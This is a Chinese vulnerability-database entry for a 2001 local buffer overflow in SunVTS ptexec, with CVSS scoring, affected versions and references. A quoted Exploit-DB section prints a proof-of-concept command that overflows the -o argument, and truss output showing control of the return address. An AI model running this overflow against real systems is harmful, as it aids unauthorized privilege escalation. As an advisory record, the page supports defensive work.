发布时间 :2001-09-20 00:00:00
修订时间 :2018-05-02 21:29:13

[原文]Buffer overflow in ptexec in the Sun Validation Test Suite 4.3 and earlier allows a local user to gain privileges via a long -o argument.

[CNNVD]Sun Validation Test Suite ptexec缓冲区溢出漏洞(CNNVD-200109-119)

        Sun Validation Test Suite 4.3以及之前版本ptexec存在缓冲区溢出漏洞。本地用户借助超长-o参数提升特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:sun:sunvts:4.0Sun SunVTS 4.0
cpe:/a:sun:sunvts:4.1Sun SunVTS 4.1
cpe:/a:sun:sunvts:4.2Sun SunVTS 4.2
cpe:/a:sun:sunvts:4.3Sun SunVTS 4.3

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  BUGTRAQ  20010621 Solaris /opt/SUNWvts/bin/ptexec Vulnerability
(UNKNOWN)  XF  sunvts-ptexec-bo(6736)

- 漏洞信息

Sun Validation Test Suite ptexec缓冲区溢出漏洞
高危 缓冲区溢出
2001-09-20 00:00:00 2005-05-02 00:00:00
        Sun Validation Test Suite 4.3以及之前版本ptexec存在缓冲区溢出漏洞。本地用户借助超长-o参数提升特权。

- 公告与补丁


- 漏洞信息 (20945)

Sun SunVTS 4.x PTExec Buffer Overflow Vulnerability (EDBID:20945)
solaris local
2001-06-21 Verified
0 Pablo Sor
N/A [点击下载]

SunVTS is the Sun Validation Test Suite, distributed and maintained by Sun Microsystems. The SunVTS is used to test various components of OEM Sun hardware, and can also be used to stress-test components and sub-components.

A buffer overflow in the -o of the ptexec command exists. It is possible for a local user to overwrite stack memory, including the return address.

This makes it possible for a local user to gain elevated privileges, and potentially full administrative access. 

# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)

# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`

execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000


sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
*** process killed *** 		

- 漏洞信息

Sun Validation Test Suite ptexec Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-06-21 Unknow
2001-06-21 Unknow

- 解决方案


Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete